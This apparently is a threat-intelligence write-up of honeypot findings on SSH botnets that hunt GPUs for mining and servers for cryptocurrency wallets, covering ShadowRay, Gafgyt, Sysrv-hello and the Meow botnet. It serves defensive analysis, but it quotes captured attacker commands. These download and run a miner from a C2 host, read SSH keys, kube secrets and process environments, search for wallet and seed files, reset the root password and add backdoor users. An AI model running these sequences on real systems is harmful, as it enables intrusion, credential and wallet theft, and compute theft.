Chapter 1: The Kill Chain — What We See vs. What We Don't

Our honeypot sits at the boundary between Phase 2 and Phase 3. We see everything up to the decision point, but because we have no GPU, we're filtered out before the profitable phases begin. This is actually more valuable than seeing the full chain — we catch the reconnaissance methodology that would be invisible on a machine that gets fully compromised.

Chapter 2: ShadowRay 2.0 — When the Target Is an AI Cluster

In March 2024, Oligo Security documented something that redefines the scale of compute theft: ShadowRay, a self-propagating cryptomining worm targeting Ray AI framework clusters.

The details are staggering:

ShadowRay exploits CVE-2023-48022 — a vulnerability that Ray's developers deliberately did not patch, arguing it was a "feature, not a bug" (the Ray dashboard is designed to execute arbitrary code). This philosophical disagreement between security researchers and framework developers left 230,000+ servers permanently exploitable.

The connection to our investigation: ShadowRay targets the same compute resources our botnet is prospecting for. The difference is the entry vector (vulnerability exploitation vs. SSH brute-force) and the scale (cluster-level access vs. individual server). Both are symptoms of the same economic incentive: GPU time is worth stealing.

Chapter 3: Gafgyt — The SSH-to-GPU Pipeline

If ShadowRay represents the high end (exploiting framework vulnerabilities to access enterprise GPU clusters), Gafgyt represents the exact methodology our botnet uses — just with the payload visible:

# Gafgyt GPU mining deployment (Aqua Security documentation)
# After SSH brute-force succeeds:

wget http://[c2-server]/xmrig -O /tmp/.cache/xmrig
chmod +x /tmp/.cache/xmrig

# Key flags:
/tmp/.cache/xmrig \
  --url pool.supportxmr.com:443 \
  --user [wallet] \
  --pass [worker-id] \
  --cuda \           # ← Enable NVIDIA GPU mining
  --opencl \         # ← Enable AMD GPU mining
  --cpu-max-threads-hint=60 \
  --background \
  --log-file=/dev/null

The --cuda and --opencl flags are the key. This isn't generic CPU mining — it specifically leverages GPU compute. And the deployment path (/tmp/.cache/) maps directly to the writable-directory probe in our botnet's reconnaissance script.

Our botnet's for d in "$HOME" /var/tmp /tmp /dev/shm is checking the exact same directories where Gafgyt would deploy its payload. The reconnaissance is the preparation for this specific deployment pattern.

Chapter 4: Sysrv-hello — The nvidia-smi Check

Remember IP 157.230.112.58 running nvidia-smi --query-gpu=name --format=csv,noheader? Sysrv-hello does the same thing — and has been doing it since December 2020:

• Active since: December 2020 (confirmed still operating December 2024)
• Language: Go (compiled binary, cross-platform)
• Recon: Checks nvidia-smi to detect GPU model and determine optimal mining configuration
• Propagation: Steals SSH keys (~/.ssh/id_rsa, authorized_keys) for lateral movement
• Exploitation: 20+ CVE arsenal for privilege escalation
• Mining: XMRig deployment, kills competing miners (pkill -f xmr, pkill -f kdevtmpfs)

Sysrv-hello is a 4-year-old operation that uses the same technical approach as our cluster. The SSH key theft is particularly relevant — once inside one server, it reads SSH keys to pivot to other servers the user connects to. A single GPU cloud admin could unknowingly provide access to an entire fleet.

Chapter 5: The Wallet Hunter — A Different Predator

Not everyone hunting through SSH is looking for compute. IP 103.24.212.42 (Indonesia, AS45298) runs a completely different operation. 364 honeypot hits. Threat score 79. And a post-exploitation sequence that reveals a different business model entirely:

# Phase 1: System Reconnaissance
uname -a; id; ifconfig; cat /etc/passwd

# Phase 2: Container/Orchestration Discovery
docker ps; docker images
kubectl get pods; kubectl get secrets
cat ~/.kube/config

# Phase 3: SSH Key Theft (lateral movement)
cat ~/.ssh/id_rsa
cat ~/.ssh/known_hosts
ls -la ~/.ssh/

# Phase 4: Environment Secret Hunting
find / -name ".env" -type f 2>/dev/null
find / -name "config.json" -type f 2>/dev/null
cat /proc/*/environ 2>/dev/null

# Phase 5: THE PAYLOAD — Cryptocurrency Wallet Files
find / -name "wallet.dat" 2>/dev/null
find / -name "keystore" -type d 2>/dev/null
find / -name "mnemonic*" 2>/dev/null
find / -name "seed*" -type f 2>/dev/null
find / -name "private.key" -type f 2>/dev/null

This is not compute theft. This is direct financial theft. The operator is scanning for cryptocurrency wallet files, seed phrases, mnemonic backups, and private keys. A single wallet.dat file from a Bitcoin node could contain millions in cryptocurrency. A seed phrase is permanent access to all funds in that wallet, forever.

Two predators in the same ecosystem, using the same entry vector (SSH brute-force), targeting the same population (servers with weak credentials), but with completely different extraction strategies. The GPU hunter is a parasite — it needs the host alive and running. The wallet hunter is a predator — it kills and takes everything in one pass.

Chapter 6: The Economics of Stolen Compute

Let's do the math. Based on current mining profitability and cloud GPU pricing:

Consider the economics at scale:

The ROI is extraordinary. A bulletproof hosting account costs $100-500/month. The scan infrastructure (our 11 IPs) costs perhaps $500-1,000/month to maintain. If the operation captures even 10 mid-range GPUs, it's profitable. At 50+, it's a serious business.

Chapter 7: The AI Compute Black Market (Emerging)

There's a frontier beyond mining that's barely documented but economically inevitable: stolen GPU time sold as AI inference.

The logic is straightforward:

• A single NVIDIA A100 generates ~$3-4/day mining Monero
• The same A100, running LLM inference, can generate $5-15/hour selling API access
• That's $120-360/day — 30-100x more profitable than mining

The technical barrier is higher: you need to deploy an inference server (vLLM, TGI, or similar), expose an API, and find customers willing to buy cheap compute without asking questions. But the demand is there — legitimate GPU cloud providers have waiting lists. A "gray market" for GPU inference (cheaper rates, no identity verification, cryptocurrency payment) is economically inevitable.

Our GPU reconnaissance botnet might not be prospecting for miners at all. It might be building an inventory for an underground cloud computing service — stolen GPUs rented to AI developers who can't get legitimate allocation, at 50% of market rates, payment in Monero.

Chapter 8: The Meow Botnet — IoT Meets Cloud

While we're mapping the high-value GPU economy, another actor on our honeypot represents the bottom of the compute market:

Meow Botnet (35.196.255.242, 34.85.232.35 — Google Cloud Platform, AS396982):

# Download binaries (x86_64 and ARM variants)
wget http://34.181.210.37/meow
wget http://35.237.91.38/meowarm64
chmod +x meow meowarm64

# Change root password
echo "root:modzmodz" | chpasswd

# Create backdoor users
useradd -m -s /bin/bash admin1
echo "admin1:modzmodz" | chpasswd
useradd -m -s /bin/bash user1
echo "user1:modzmodz" | chpasswd

ARM binary support (meowarm64) indicates IoT targeting. This is the quantity over quality approach: compromise thousands of low-power devices (routers, cameras, NAS boxes) for DDoS capacity or low-intensity mining. Each device earns pennies per day, but thousands of them add up.

Interestingly, the Meow botnet runs on Google Cloud — a legitimate, well-monitored cloud provider. This suggests either compromised GCP instances or short-lived instances created with stolen credentials/cards. Google's own Threat Horizons report documents exactly this pattern: mining software deployed within 22 seconds of cloud account compromise.

Chapter 9: Convergence — One Internet, Multiple Extraction Models

What our honeypot reveals is not one threat — it's an ecosystem where multiple actors share the same attack surface (SSH-accessible servers) but extract value differently:

They all enter through the same door. They all scan the same internet. And they all operate on the same bulletproof infrastructure — because whether you're mining Monero or draining wallets, you need hosting that won't be taken down when victims report you.

Chapter 10: The Invisible Tax

Here's what makes compute theft different from traditional cybercrime: the victim often doesn't know.

Ransomware announces itself. Data theft eventually surfaces in breach notifications. DDoS is immediately felt. But a miner running at 60% GPU utilization on a cloud instance that's already provisioned for AI workloads? The instance owner sees slightly higher latency on their training jobs. Slightly higher power draw. Maybe their epoch times are 40% longer than expected. They might blame the framework, the hypervisor, or network congestion.

The electricity bill goes up. The cloud bill goes up. But there's no ransom note, no stolen data, no obvious indicator. It's the perfect crime: theft that manifests as inefficiency.

At scale — thousands of compromised GPUs — this is an invisible tax on the entire compute economy. It increases the cost of AI development. It wastes energy. It degrades performance for legitimate users. And it generates cryptocurrency for criminals who invested nothing but the time to scan.

The GPU reconnaissance botnet we captured isn't just a security threat. It's a parasitic economy — and the hosts are paying its electricity bill without knowing it exists.